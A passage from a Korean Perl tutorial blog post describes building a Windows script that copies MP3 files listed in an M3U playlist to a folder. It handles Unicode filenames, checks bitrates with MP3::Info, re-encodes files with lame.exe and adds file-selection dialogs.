#
my $enc = guess_encoding( $M3U_RAW_DATA, qw/cp949 utf8/ );
if ( ref($enc) ) {
$M3U_RAW_DATA = decode( $enc->name, $M3U_RAW_DATA );
if ( $enc->name eq "utf8" ) {
if ( $M3U_RAW_DATA =~ /\x{FEFF}/ ) {
$M3U_RAW_DATA =~ s/\x{FEFF}//g;
}
}
}
else {
print "Error: Cannot guess encoding(Neither CP949 nor UTF-8)! \n";
exit;
}
undef $enc;
#
# 파일 목록을 만들기
#
my @MP3_LIST = split( /\r\n/, $M3U_RAW_DATA );
undef $M3U_RAW_DATA;
#
# 대상 폴더 확인 및 파일 복사
#
unless ( -e "$TARGET_FOLDER" ) {
mkdir( "$TARGET_FOLDER" );
}
foreach my $s_filename ( @MP3_LIST ) {
next if substr( $s_filename, 0, 1 ) eq "#";
$s_filename = mp3_abs_path( $s_filename, $SOURCE_M3U_FILENAME );
mp3_copy_process( $s_filename, $TARGET_FOLDER );
}
print "\nTask(s) finished.\n";
exit;
#
# 실제 복사가 이루어지는 서브루틴
#
sub mp3_copy_process {
my $s_filename = shift;
my $t_folder = shift;
my $t_filename;
my $filename;
( undef, undef, $filename ) = File::Spec->splitpath($s_filename);
if ( !Encode::is_utf8( $t_folder ) ) {
$t_folder = decode( "cp949", $t_folder );
}
$s_filename = encode( "cp949", "$s_filename" );
$t_filename = encode( "cp949", "$t_folder/$filename" );
if ( -e "$s_filename" ) {
copy( "$s_filename", "$t_filename" )
or die "Error: Failed to copy!\n $s_filename\n ($!)\n\n";
}
else {
print "Warning: File is not exist!\n $s_filename\n\n";
}
}
#
# 실제 인코딩이 이루어지는 서브루틴
#
sub mp3_enc_process {
# ...
}
#
# M3U 파일 내에 MP3 파일이 상대경로로 저장된 경우 절대경로로 변환
#
sub mp3_abs_path {
my $mp3_file_path = shift;
my $m3u_file_path = shift;
if ( !File::Spec->file_name_is_absolute( $mp3_file_path ) ) {
my ( $t_drive, $t_folders ) = File::Spec->splitpath($m3u_file_path);
$m3u_file_path = File::Spec->catpath($t_drive,$t_folders,undef);
$mp3_file_path = File::Spec->rel2abs( $mp3_file_path, $m3u_file_path );
}
return $mp3_file_path;
}
</pre>
<p>M3U 파일의 경로, 파일을 복사할 대상 폴더의 경로를 인수로 받게 되며, 받은 경로는 <code>File::Spec</code> 모듈의 <code>file_name_is_absolute()</code> 메소드를 이용하여 절대 경로인지 여부를 검사하고, 만약 상대 경로라면 <code>rel2abs()</code> 메소드를 이용하여 절대 경로로 변환하여 혹시라도 발생할 수 있는 문제를 예방하였습니다. M3U 파일의 인코딩이 CP949일지 UTF-8일지 알 수 없기 때문에, M3U 파일을 읽어들인 후 인코딩을 확인하고 내부 UTF-8 인코딩으로 저장하여 배열로 MP3 파일 목록을 저장해 둡니다. 참고로,</p>
<pre class="brush: perl;">
if ( $enc->name eq "utf8" ) {
if ( $M3U_RAW_DATA =~ /\x{FEFF}/ ) {
$M3U_RAW_DATA =~ s/\x{FEFF}//g;
}
}
</pre>
<p>위 코드는 혹시라도 UTF-8 인코딩으로 저장된 M3U8 파일이 <a href="http://en.wikipedia.org/wiki/Byte_order_mark">Byte-Order Mark(BOM)</a> 문자를 포함하고 있을 경우 이를 삭제할 수 있도록 집어넣은 것입니다. 읽어들이는 텍스트가 UTF-8이고, BOM 문자가 붙어있지 않다고 확신할 수 없는 경우에는 내부 인코딩으로 읽어들인 후 이 코드에 통과시켜 주는 것이 안전합니다.</p>
<p><code>@MP3_LIST</code> 배열에 저장된 MP3 파일명들은 하나씩 차례대로 <code>foreach</code> 순환문 안으로 들어가게 됩니다.
<em>확장된 M3U 형식 파일</em>의 경우 <em># 로 시작하는 주석 행</em>이 존재하는 경우도 있어서<a href="#fn:b" id="fnref:b" class="footnote">2</a> 만약 첫 글자가 <code>#</code>로 시작한다면 MP3 파일명이 아닌 주석으로 간주하여 해당 행은 처리하지 않고 건너뛰는 코드를 삽입하였습니다. 또한, 배열에 저장된 <em>MP3 파일 목록은 각각 상대경로일 수도 있고 절대경로일 수도</em> 있기 때문에, 오류를 막기 위해서 이들을 모두 절대경로로 바꿔 주는 <code>mp3_abs_path()</code> 서브루틴을 먼저 거치게 합니다. 현재는 MP3 비트레이트 검사 코드도, 비트레이트를 낮춰 인코딩하기 위한 <code>mp3_enc_process()</code> 서브루틴도 작성되지 않았기 때문에, 비트레이트 검사 없이 바로 <code>mp3_copy_process()</code> 서브루틴으로 이동하여 파일 복사를 시도합니다. 자, 이제 미리 작성해 둔 M3U 파일로 테스트해 볼 시간입니다! 그런데...</p>
<p><img src="2012-12-07-01_r.png" alt="첫 번째 실행 결과" id="" />
<em>그림 1.</em> 첫 번째 실행 결과 (<a href="2012-12-07-01.png">원본</a>)</p>
<p>첫 번째 테스트부터 꼬이기 시작했습니다. MP3 파일 복사 도중 실패하는 파일이 나타났고, 오류 메시지는 하나같이 "<em>그런 파일 없어 임마!</em>" 였습니다. 없기는 무슨?! 멀쩡히 존재하는데!</p>
<p><img src="2012-12-07-02_r.png" alt="확인: 분명히 원본 파일은 존재합니다." id="" />
<em>그림 2.</em> 확인: 분명히 원본 파일은 존재합니다. (<a href="2012-12-07-02.png">원본</a>)</p>
<p>복사 오류가 발생한 파일들을 살펴보니, <em>일본식 한자들과 특수문자들</em>이 문제였습니다. 윈도우 XP 이후 버전의 윈도우는 유니코드 파일명을 지원하기 때문에, 파일명에 로컬라이징 윈도우의 문자 세트(한글 윈도우의 경우 CP949, 일명 확장완성형이라 불리는 문자세트입니다.)에 없는 문자도 사용할 수 있습니다. 따라서, CP949 문자세트에 존재하지 않는 일본식 한자도 한글 윈도우에서 파일명으로 사용할 수 있습니다.</p>
<p>이런 경우에도, 유니코드를 정상적으로 지원하는 대부분의 MP3 관리/재생 프로그램은 이들 MP3 파일을 정상적으로 재생할 수 있고, 또 M3U 목록을 작성할 수 있습니다. 다만, M3U 목록을 작성하는 경우, CP949 인코딩으로 M3U 파일을 저장하면 CP949 문자세트에 없는 글자들은 모두 깨지기 때문에, M3U 파일로 재생 목록을 저장하는 경우에는 UTF-8 인코딩을 사용하여 M3U8 확장자로 저장하게 됩니다.</p>
<p>그러나, 이렇게 M3U 목록 파일에 저장된 MP3 파일명을 사용하기 위해 한글 윈도우를 통해 전달하기 위해서는 <em>UTF-8 인코딩을 사용하여 저장된 파일명을 다시 CP949 인코딩으로 변환하여 전달</em>해야만 윈도우가 정상적으로 파일을 찾고 복사를 할 수 있습니다. 당연하게도, 변환 과정에서 CP949 문자 세트에 없는 일본식 한자나 일본식 특수기호들은 와장창 깨져 버립니다. 그 결과, 멀쩡히 존재하는 파일인데도 윈도우나 Perl이 파일을 찾지 못하는 결과가<a href="#fn:c" id="fnref:c" class="footnote">3</a> 된 것입니다.</p>
<h2 id="win32::unicode">한 줄기 희망, Win32::Unicode</h2>
<p>테스트 결과에 따르면, 다른 프로그램으로 작성해 두었던, UTF-8 인코딩으로 저장된 M3U 파일은 변환 과정에서 일부 파일명이 깨지는 관계로 이대로는 작업에 사용할 수가 없습니다. 그렇다고 M3U 파일을 애초부터 CP949 인코딩으로 저장한다고 해서 문제가 해결되지는 않습니다. 저장하다 깨지건 읽다가 깨지건 글자가 깨지는 것은 마찬가지일 것이니까요. 문제를 일으키는 MP3 파일의 파일명 자체를 우리식 한자로 수정하는 방법도 있겠습니다만, 오류가 발생하는 파일이 한 두 개가 아닌 상황에서 그걸 일일이 고치고 있는 것도 별로 하고 싶지 않은 일입니다.</p>
<p>결론적으로, 해피엔딩을 위해서는 유니코드 파일명을 직접 사용해서 파일을 핸들링할 수 있는 방법을 찾아야 합니다. CPAN 신께 문의한 결과, <a href="http://search.cpan.org/~xaicron/Win32-Unicode-0.38/lib/Win32/Unicode.pm">Win32::Unicode</a> 모듈을 사용하면 UTF-8 인코딩을 그대로 사용하여 파일/폴더를 핸들링할 수 있다는 것을 알게 되었습니다. 이제 Win32::Unicode가 적용되도록 위 소스를 수정하면 됩니다. 다른 부분은 전혀 건드릴 필요가 없을 것 같고, <code>mp3_copy_process()</code> 서브루틴만 수정하면 될 것 같습니다.</p>
<p>아 참, Win32::Unicode는 최신의 Strawberry Perl 5.16에서도 기본 모듈로 설치되어 있지 않기 때문에, CPAN을 통하여 설치를 해야 합니다. <code>cpan Win32::Unicode</code>를 입력하시면 됩니다.</p>
<pre class="brush: perl;">
#
# 실제 복사가 이루어지는 서브루틴
#
use Win32::Unicode;
sub mp3_copy_process {
my $s_filename = shift; # UTF-8
my $t_folder = shift; # CP949
my $t_filename;
my $filename;
( undef, undef, $filename ) = File::Spec->splitpath($s_filename);
if ( !Encode::is_utf8( $t_folder ) ) {
$t_folder = decode( "cp949", $t_folder );
}
if ( !Encode::is_utf8( $filename ) ) {
$filename = decode( "utf8", $filename );
}
$t_filename = "$t_folder/$filename"; # UTF-8
if ( file_type e => "$s_filename" ) {
copyW( "$s_filename", "$t_filename" )
or die "Error: Failed to copy!\n $s_filename\n ($!)\n\n";
}
else {
print "Warning: File is not exist!\n $s_filename\n\n";
}
}
</pre>
<p>첫 번째 소스와 달라진 부분은 위 서브루틴 부분 뿐입니다. <code>Win32::Unicode</code> 모듈을 사용하도록 <code>use</code> 프래그마를 넣어 주었고, 시스템에 넘기기 위해 파일명을 CP949 인코딩으로 변환하던 부분을 모두 없앴습니다. <code>Win32::Unicode</code> 모듈을 사용하여 파일을 복사할 때는 파일명을 UTF-8 인코딩으로 직접 넘겨줄 수 있기 때문입니다.</p>
<p>또한, 파일이 존재하는지 확인하기 위한 파일 테스트 연산자 <code>-e</code> 대신에, <code>Win32::Unicode</code> 모듈에서 제공하는 <code>file_type e =></code>를 사용하여 유니코드 파일명을 가진 파일이라도 정상적으로 파일 존재 여부를 확인할<a href="#fn:d" id="fnref:d" class="footnote">4</a> 수 있게 했습니다. 그리고 동작시켜본 결과... </p>
<p><img src="2012-12-07-03_r.png" alt="오류가 발생하던 파일들이 모두 복사되어, 오류 메시지가 출력되지 않습니다." id="" />
<em>그림 3.</em> 오류가 발생하던 파일들이 모두 복사되어, 오류 메시지가 출력되지 않습니다. (<a href="2012-12-07-03.png">원문</a>)</p>
<p>유니코드 문자로 이루어진 파일들도 무사히 복사가 이루어졌습니다!</p>
<h2 id="mp3">MP3 파일의 비트레이트 확인하기</h2>
<p>이제 요구성능의 첫 번째 조건은 완수했고, 두 번째 조건을 달성해야 합니다. MP3 비트레이트를 확인하는 것은 CPAN의 <a href="http://search.cpan.org/~daniel/MP3-Info-1.24/Info.pm">MP3::Info</a> 모듈을 사용하면 되는 매우 간단한 일입니다. 문제는 비트레이트가 192Kbps보다 큰 경우 MP3 파일을 192Kbps로 인코딩하여 복사하는 것입니다. 여러 가지 방법을 찾아보았으나, 가장 편리한 방법은 쉽게 구할 수 있는 <a href="http://www.free-codecs.com/Lame_Encoder_download.htm">Lame MP3 Encoder (lame.exe)</a>를 사용하여 재인코딩하는 것이어서, 그 방법을 사용하기로 했습니다. 우선 비트레이트 확인을 위해 <code>foreach</code>문 내부를 다음과 같이 수정해 봅시다.</p>
<pre class="brush: perl;">
use MP3::Info;
foreach my $s_filename ( @MP3_LIST ) {
next if substr( $s_filename, 0, 1 ) eq "#";
$s_filename = mp3_abs_path( $s_filename, $SOURCE_M3U_FILENAME );
my $mp3_info = get_mp3info( $s_filename );
if ( !$mp3_info->{BITRATE} ) {
print "Warning: Failed to get MP3 bitrate!\n $s_filename\n\n";
}
elsif ( $mp3_info->{BITRATE} > 192 ) {
mp3_enc_process( $s_filename, $TARGET_FOLDER );
}
else {
mp3_copy_process( $s_filename, $TARGET_FOLDER );
}
}
</pre>
<p>MP3::Info 모듈 역시 기본적으로 설치되어 있지 않은 모듈이므로 CPAN에서 설치를 해 주세요. <code>cpan MP3::Info</code>하시면 됩니다.</p>
<p>이제 foreach문 내부에는 루프에 넘어온 MP3 파일의 비트레이트를 확인하여, 비트레이트 값이 192 초과라면 <code>mp3_enc_process()</code>로, 이하라면 <code>mp3_copy_process()</code> 로 이동시키는 코드가 자리잡았습니다. 이제 현재 상태에서 테스트를 해 본다면, 비트레이트가 192Kbps 이하인 일부 MP3 파일들은 복사가 될 것이고, 그 외 대부분의 MP3 파일(목록 내 파일의 대부분은 320Kbps의 고음질 MP3 파일입니다)들은 <code>mp3_enc_process()</code> 서브루틴으로 넘어가는 결과 (아직 서브루틴이 작성되지 않아 비어 있으므로) 복사가 이루어지지 않아야 합니다. 그런데...</p>
<p><img src="2012-12-07-04_r.png" alt="비트레이트를 확인할 수 없다는 오류 메시지. 뭐 잊고 있는 거 없니?" id="" />
<em>그림 4.</em> 비트레이트를 확인할 수 없다는 오류 메시지. 뭐 잊고 있는 거 없니? (<a href="2012-12-07-04.png">원문</a>)</p>
<p>테스트를 해보니 비트레이트가 확인되지 않는 파일들이 속출합니다. 그러고 보면, 위 코드에는 심각한 문제가 있습니다. <code>MP3::Info</code> 역시 윈도우 (표준 ANSI) API를 사용하는 한, UTF-8로 넘겨준 파일 이름을 핸들링할 수가 없습니다. 즉, <em>MP3::Info 모듈이 파일명을 제대로 인식하게 해 주려면 파일명을 CP949로 변환해서 넘겨줘야 한다</em>는 것입니다. 잠깐. 그러면, 아까 파일 복사 기능 구현할 때 부딪쳤던 문제하고 다시 맞닥뜨린 셈인데요...? 게다가, 아직 코드를 작성하진 않았지만, <code>mp3_enc_process()</code> 서브루틴에서 lame.exe에 파일명을 던져줄 때도, 콘솔에서 동작을 수행하는 한 넘겨줘야 하는 파일명의 인코딩은 CP949여야 합니다. 오 마이 갓...</p>
<h2 id="win32::getansipathname">또 하나의 산을 넘는 도구, Win32::GetANSIPathName</h2>
<p>파일 복사 쪽에서는 <code>Win32::Unicode</code>를 사용하여 문제를 해결할 수 있었지만, <code>MP3::Info</code> 모듈에 파일명을 넘겨줄 때는 <code>Win32::Unicode</code> 모듈을 사용할 수가 없습니다. 그렇다면 뭔가 다른 수를 내야 합니다.</p>
<p>일단 생각나는 방법은, 만약 비트레이트를 확인할 수 없다면, 이미 사용 가능한 모듈인 Win32::Unicode 모듈을 사용하여 실제로 파일이 없는지 확인하고, 만약 파일이 실제로 존재한다면 임시로 어딘가에 파일을 복사(물론 파일명은 인식 가능한 영문자/숫자 등으로 바꾸어 복사)한 후 다음 작업을 진행할 수 있습니다. 임시로 복사할 어딘가의 폴더는 윈도우의 임시 폴더를 사용하면 될 것 같네요. <code>$ENV{TEMP}</code>나 <code>$ENV{TMP}</code> 값을 읽으면 관리자 권한이 아닌 사용자 권한으로 사용할 수 있는 임시 폴더의 경로를 얻을 수 있고, 파일명은 유니코드로 된 파일명을 바이트스트림으로 변경한 후 이를 <code>unpack "*H"</code>를<a href="#fn:e" id="fnref:e" class="footnote">5</a> 이용하여 hex 값으로 변환하면 고유한 임시 파일명을 만들 수 있을 것 같습니다. 비트레이트 확인 결과 인코딩을 해야 할 파일이라면 임시 파일을 활용하여 인코딩을 한 후 임시 파일 삭제, 복사만 하면 될 파일이라면 임시 파일을 삭제하고 파일 복사 서브루틴으로 넘기면 됩니다. 실제로 테스트 코드를 만들어 실행해 본 결과도 만족스럽습니다.</p>
<p>그런데, 뭔가 뒷맛이 찜찜합니다. 제가 가진 대부분의 파일이 320Kbps 비트레이트를 갖는 MP3 파일인데, 이 방법을 사용하면 단지 MP3 파일의 비트레이트 확인을 위해 쓸데없이 임시 파일을 복사하는 시간을 더 투입해야 됩니다. 한두 개 파일이면 모르겠지만 수십 개의 파일만 되어도 몇 분 이상이 추가로 들어갑니다. 만약 복사된 파일이 192Kbps 또는 그 이하의 비트레이트를 갖는 MP3 파일이었다면 그야말로 Perl에게 뻘짓을 시킨 셈이 됩니다. 아무래도 뭔가 다른 방법을 찾아봐야 될 것 같습니다.</p>
<p>여기서 생각난 것이 바로 <em>윈도우의 8.3 파일명(짧은 파일명)</em>입니다. 과거 MS-DOS 시절에나 쓰이던 것이지만, 하위 호환성의 유지를 위해 지금도 존재하고 있죠. 만약 윈도우의 풀 파일명을 가지고 8.3 파일명을 얻을 수 있다면 문제가 깔끔하게 해결될 수 있습니다. 찾아보니, Win32 모듈에서 제공하는 <code>GetANSIPathName</code> 이라는 함수를 사용하면 짧은 파일명을 구할 수 있었습니다.</p>
<pre class="brush: perl;">
use Win32;
use MP3::Info;
foreach my $s_filename ( @MP3_LIST ) {
next if substr( $s_filename, 0, 1 ) eq "#";
$s_filename = mp3_abs_path( $s_filename, $SOURCE_M3U_FILENAME );
my $shortName = Win32::GetANSIPathName( $s_filename );
my $mp3_info = get_mp3info( $shortName );
if ( !$mp3_info->{BITRATE} ) {
print "Warning: Failed to get MP3 bitrate!\n $s_filename\n\n";
}
elsif ( $mp3_info->{BITRATE} > 192 ) {
mp3_enc_process( $s_filename, $TARGET_FOLDER );
}
else {
mp3_copy_process( $s_filename, $TARGET_FOLDER );
}
}
</pre>
<p>짧은 파일명을 사용한 테스트 결과, 모든 파일에 대해서 비트레이트 확인이 정상적으로 이루어졌습니다. 이제 MP3 인코딩 루틴인 <code>mp3_enc_process()</code> 서브루틴만 완성하면 되겠네요. 위에서 이야기한 대로, 인코딩 작업 자체는 공개된 MP3 파일 인코딩 툴인 lame.exe를 이용할 것입니다.</p>
<h2 id="mp3...">이제 진짜로 MP3 인코딩을...</h2>
<p>외부 프로그램인 lame.exe를 실행하는 방법에는 여러 가지가 있습니다. 그냥 단순하게 <code>system()</code> 문을 사용할 수도 있고, <code>Win32::GUI</code> 모듈의 <code>ShellExecute</code> 메소드를 사용하거나 <code>Win32::Process</code> 등의 모듈을 사용하여 새로운 프로세스를 생성할 수도 있을 것입니다. 이 코드에서는 그냥 <code>system()</code> 문을 사용하여 외부 프로그램을 실행하도록 프로그램을 작성할 것입니다. 만약 성능을 위해서 여러 개의 lame.exe를 한 번에 실행시키도록 코드를 짠다면, Win32::Process 등 다른 모듈을 사용하여 프로세스를 여러 개 생성하는 방법을 사용하면 되겠지요. 이 부분은 독자분들께 맡기겠습니다. :-) </p>
<p>다만, 코드 작성에 있어서 한 가지 주의할 점은, 어떠한 경우라도 콘솔에서 lame.exe를 실행하는 과정에서 넘겨주는 <em>인자(파일명)의 인코딩은 반드시 CP949 여야 한다</em>는 점입니다. 따라서, 여기서도 앞에서 한 번 사용한 바 있었던 "짧은 이름"을 사용하여 lame.exe 를 호출하는 방법으로 코드를 설계할 것입니다. 대신 인코딩이 완료된 후에는 원래의 긴 이름으로 바꿔 주어야 하겠지요. 유니코드 파일명이 있다는 점에 대비하여 파일명 변경에는 <code>Win32::Unicode</code> 의 <code>renameW</code> 를 사용합니다.</p>
<pre class="brush: perl;">
use Win32::Unicode;
sub mp3_enc_process {
my $s_filename = shift; # UTF-8
my $t_folder = shift; # CP949
my $shortName = Win32::GetANSIPathName( $s_filename );
my $filename;
( undef, undef, $filename ) = File::Spec->splitpath($shortName);
my $t_filename = "$t_folder/$filename"; # CP949!
if ( -e "$shortName" ) {
my $commandline = qq{./lame.exe -S --noreplaygain -b 192 "$shortName" "$t_filename"};
my $errorlevel = system( $commandline );
}
else {
print "Warning: File is not exist!\n $s_filename\n\n";
}
( undef, undef, $filename ) = File::Spec->splitpath($s_filename); # UTF-8
if ( !Encode::is_utf8($t_filename) ) {
$t_filename = decode( "cp949", $t_filename );
}
if ( !Encode::is_utf8($t_folder) ) {
$t_folder = decode( "cp949", $t_folder );
}
my $tt_filename = "$t_folder/$filename"; # UTF-8!
renameW( "$t_filename", "$tt_filename" );
}
</pre>
<p>참고로, 이 코드를 실행할 때에는 <em>반드시 lame.exe 파일이 스크립트와 같은 폴더에 있어야</em> 합니다. PATH 환경 변수 내에 지정된 다른 폴더에 존재하더라도 실행되지 않습니다. (윈도우의 PATH 폴더 목록은 <code>$ENV{PATH}</code>에 저장되어 있습니다만, <code>File::Spec</code> 모듈의 <code>path</code> 메소드를 사용하면 쉽게 PATH 폴더 목록을 리스트 형태로 얻을 수 있습니다. 이를 이용하여 만약 현재 폴더에 lame.exe가 존재하지 않는다면 PATH로 지정된 폴더들에서 lame.exe를 찾아 보도록 개선할 수도 있을 것입나다. 이 부분의 개선 역시 독자분들께 맡깁니다.^^)</p>
<p>각설하고, 테스트 결과, 코드를 구상할 때에는 전혀 예상하지 못했던 문제가 발생했습니다. 몇몇 파일에서, 분명 lame.exe에 파일명을 넘겨줄 때 짧은 이름으로 넘겨줬는데, 지 멋대로 긴 이름으로 바꿔서 받고는 파일을 읽을 수 없다는 오류를 발생시켰습니다. 이해가 안 되는 현상인데, 시스템의 문제가 아닌 lame.exe의 문제로 판단되어서(Perl 에서는 문제 없이 파일을 읽을 수 있기 때문에..), 이 부분의 직접적인 디버깅은 회피하고, 다만 인코딩 실패 시 원본 파일을 임시 폴더로 복사한 후 인코딩을 실행하는 보조 루틴을 추가하는 선에서 마무리를 짓겠습니다. 아래 코드는 관련 부분을 보강한 코드입니다. <code>mp3_enc_process()</code> 서브루틴 내의 <code>if ( -e "$shortName" ) { } else { }</code> 부분을 대체하고, 뚱뚱해진 로직을 <code>if ( ! -e "$shortName" ) { } ... "</code>로 바꿉니다.</p>
<pre class="brush: perl;">
use File::Copy;
if ( ! -e "$shortName" ) {
print "Warning: File is not exist!\n $s_filename\n\n";
return;
}
my $commandline = qq{./lame.exe -S --noreplaygain -b 192 "$shortName" "$t_filename"};
my $errorlevel = system( $commandline );
if ( $errorlevel > 0 ) {
my $temp_filename = "$t_folder/temp_" . time . ".mp3";
copy( "$shortName", "$temp_filename" );
$commandline = qq{./lame.exe -S --noreplaygain -b 192 "$temp_filename" "$t_filename"};
$errorlevel = system( $commandline );
if ( $errorlevel > 0 ) {
print "Error: Failed to encode MP3!\n $s_filename\n\n";
$t_filename = $temp_filename;
}
else {
unlink $temp_filename;
}
}
</pre>
<p>인코딩 오류 발생시 동작하는 <code>if ( $errorlevel > 0 ) { }</code> 조건문을 추가했습니다. <code>system()</code> 함수는 그 자신이 실행한 코드가 실행이 종료될 때까지 기다렸다가 그 종료 코드(오류 코드)를 돌려주기 때문에, 실행한 프로그램이 오류 코드를 돌려준다면 작업이 성공했는지 실패했는지를 바로 알 수 있습니다. 만약 <code>$errorlevel</code> 값이 0이 아니라면(즉, 무언가 문제가 생겼다면), 프로그램은 원본 MP3 파일을 이름을 바꾸어(<code>temp_</code> 뒤에 현재의 타임 스탬프를 추가합니다) 대상 폴더로 복사한 후 다시 인코딩을 시도합니다. 성공한다면 복사했던 임시 파일은 삭제되고 다음 작업으로 넘어가지만, 이번에도 실패한다면 오류 메시지를 출력하고 복사되었던 임시 파일을 남겨 두어 다음 작업에 사용하게 합니다. 즉, 인코딩이 실패한다면 그냥 원본 파일을 그대로 복사하는 것과 같은 효과를 보게 되는 거죠.</p>
<h2 id="gui">보너스: 옵션 주기가 불편해! - GUI 인터페이스로 변경하기</h2>
<p>이렇게 해서, 부족하나마 M3U 앨범 파일을 지정한 폴더로 복사해 주는 프로그램이 얼추 완성된 것 같습니다. 최소한 제 입장에서 필요한 최소한의 기능은 다 들어가 있는 것 같군요. 그런데 한 가지가 눈에 거슬립니다. 그것은 프로그램을 실행하는 데 필요한 두 개의 값인 <em>복사하려는 M3U 파일의 경로/이름, 그리고 MP3 파일이 복사되어 저장될 폴더를 직접 인자로 주어 실행해야 한다</em>는 것입니다. 영 불편합니다. 음. 프로그램을 실행하면 M3U 파일과 대상 폴더를 선택하는 창이 떴으면 좋겠습니다. 뭔가 복잡할 것 같지만, 그동안 해 온 일에 비하면 일이라고 할 수도 없을 정도로 쉽습니다. :-) 물론, GUI 환경을 호출해 줄 CPAN 모듈이 필요합니다.</p>
<p>만약 <code>Win32::GUI</code> 모듈이 설치되어 있다면, Win32::GUI 모듈에서 제공하는 <code>GetOpenFileName()</code>와 <code>BrowseForFolder()</code> 메소드를 사용해도 됩니다. 그러나 Win32::GUI 에서 제공하는 <code>BrowseForFolder()</code>에서는 새 폴더를 만들기가 불가능하기 때문에, Win32::GUI 모듈 대신 <a href="http://search.cpan.org/~jenda/Win32-FileOp-0.16.00-withoutworldwriteables/FileOp.pm">Win32::FileOp</a> 라는 모듈을 사용하도록 하겠습니다. 이 모듈도 기본으로 설치되는 모듈은 아니므로 CPAN 에서 설치하셔야 합니다. <code>cpan Win32::FileOp</code>를 입력하세요!</p>
<pre class="brush: perl;">
#
# SOURCE FILE / TARGET FOLDER 받기
#
use Win32::FileOp;
my $SOURCE_M3U_FILENAME = Win32::FileOp::OpenDialog(
-title => encode(
"CP949", "복사할 M3U 또는 M3U8 파일을 선택하십시오."
),
-filters => [ 'M3U(8) File' => '*.m3u;*.m3u8' ],
-options => OFN_FILEMUSTEXIST | OFN_HIDEREADONLY | OFN_PATHMUSTEXIST,
-dir => File::Spec->rel2abs("."),
);
if ( !$SOURCE_M3U_FILENAME ) {
print "Error: Source file is not defined!\n";
exit;
}
my $TARGET_FOLDER = Win32::FileOp::BrowseForFolder(
encode( "CP949", "복사할 폴더를 선택하세요." ),
CSIDL_DRIVES,
BIF_USENEWUI,
);
if ( !$TARGET_FOLDER ) {
print "Error: Target folder is not defined!\n";
exit;
}
if ( !File::Spec->file_name_is_absolute( $SOURCE_M3U_FILENAME ) ) {
$SOURCE_M3U_FILENAME = File::Spec->rel2abs( $SOURCE_M3U_FILENAME );
}
if ( !File::Spec->file_name_is_absolute( $TARGET_FOLDER ) ) {
$TARGET_FOLDER = File::Spec->rel2abs( $TARGET_FOLDER );
}
</pre>
<p>코드의 제일 앞에 있던, SOURCE FILE / TARGET FOLDER 받기 부분을 위 코드로 교체합니다. 이제, 별도로 명령 프롬프트에 귀찮게 인자를 입력할 필요 없이, 단순히 스크립트를 실행하기만 하면, 알아서 M3U 파일과 복사할 폴더를 물어오는 창을 출력합니다. 물론 둘 중 하나라도 입력하지 않는다면 오류를 발생시키면서 프로그램의 실행이 중단됩니다. 코드를 잠깐 뜯어보면...</p>
<ul>
<li>Win32::FileOp에서 제공하는 <code>OpenDialog()</code>를 사용하여 M3U 파일의 경로와 이름을 입력받습니다. 옵션값으로 <code>OFN_FILEMUSTEXIST</code>를 주었기 때문에, 넘어오는 M3U 파일은 반드시 실제 존재하는 파일입니다. (따라서 실제 파일 존재 여부를 검사하는 부분은 필요가 없게 되었습니다.)</li>
<li>MP3 파일을 복사할 폴더명의 지정은 역시 Win32::FileOp 모듈의 <code>BrowseForFolder()</code>를 사용합니다. 옵션으로 <code>BIF_USENEWUI</code>를 주었기 때문에, 폴더 선택 과정에서 새 폴더를 만들어 그 폴더를 지정할 수도 있습니다. (실제 존재하는 폴더명만 넘어올 수 있기 때문에 폴더가 존재하는지 확인하여 없으면 없으면 <code>mkdir</code> 문을 사용해 폴더를 생성해 주던 코드도 필요가 없게 되었네요.)</li>
<li>파일 및 폴더 선택 창에 <em>출력할 메시지는 모두 CP949 인코딩으로 출력</em>되어야 하므로, 각각의 출력 메시지 부분은 모두 <code>encode</code>를 사용하여 묶었습니다. 사용자가 인자에 상대 경로를 사용할지 절대 경로를 사용할지 알 수 없기 때문에 필요했던, 위 코드 끝 부분의 <code>rel2abs</code> 메소드는, <code>OpenDialog()</code> 함수와 <code>BrowseForFolder()</code> 함수 모두 반환값이 절대 경로이기 때문에, 이 역시 필요가 없는 코드가 되었습니다.</li>
</ul>
<p>조금 더 욕심을 부린다면, 현재 콘솔 창으로 출력되고 있는 오류 메시지를 별도의 메시지 창으로 출력되도록 하고, 콘솔 창을 보이지 않게 만들어서 좀 더 뭔가 있어보이는 프로그램처럼 보일 수도 있겠네요. 메시지를 별도의 메시지 창으로 출력하기 위한 도구들은 <code>Win32::GUI</code> 모듈의 <code>MessageBox</code> 메소드 또는 <code>Win32</code> 모듈의 <code>Win32::MsgBox</code> 함수 등이 있겠지만, 이 부분은 독자분들의 몫으로 남겨두도록 하겠습니다. ^^ 콘솔 창을 숨기는 방법은 <a href="http://advent.perl.kr/2011/2011-12-07.html">2011년에 제가 썼던 Advent Calendar 기사</a>에 관련 내용이 있으므로 그쪽 글을 참고하시기 바랍니다. :-)</p>
<h2>완성!</h2>
<p>이제 조각조각 붙여온 모듈들을 하나로 합쳐 봅시다. 갖고 계신 MP3 파일로 M3U 파일 앨범을 만들어서, 잘 돌아가는지 한번 테스트도 해 보세요. 이왕이면 유니코드 문자가 낀 MP3 파일을 가지고 테스트를 해 보는 것이 고생한 보람이 있지 않을까 싶네요. :-) 바로 위에서 지적했던, 필요 없어졌다고 말씀드렸던 코드들은 삭제하지 않았습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use utf8;
use strict;
use warnings;
use Encode;
use Encode::Guess;
use Win32;
use MP3::Info;
use File::Spec;
use File::Copy;
use Win32::FileOp;
use Win32::Unicode;
#
# SOURCE FILE / TARGET FOLDER 받기 (@ARGV 인수)
#
my $SOURCE_M3U_FILENAME = Win32::FileOp::OpenDialog(
-title => encode(
"CP949", "복사할 M3U 또는 M3U8 파일을 선택하십시오."
),
-filters => [ 'M3U(8) File' => '*.m3u;*.m3u8' ],
-options => OFN_FILEMUSTEXIST | OFN_HIDEREADONLY | OFN_PATHMUSTEXIST,
-dir => File::Spec->rel2abs("."),
);
if ( !$SOURCE_M3U_FILENAME ) {
print "Error: Source file is not defined!\n";
exit;
}
my $TARGET_FOLDER = Win32::FileOp::BrowseForFolder(
encode( "CP949", "복사할 폴더를 선택하세요." ),
CSIDL_DRIVES,
BIF_USENEWUI,
);
if ( !$TARGET_FOLDER ) {
print "Error: Target folder is not defined!\n";
exit;
}
if ( !File::Spec->file_name_is_absolute($SOURCE_M3U_FILENAME) ) {
$SOURCE_M3U_FILENAME = File::Spec->rel2abs($SOURCE_M3U_FILENAME);
}
if ( !File::Spec->file_name_is_absolute($TARGET_FOLDER) ) {
$TARGET_FOLDER = File::Spec->rel2abs($TARGET_FOLDER);
}
#
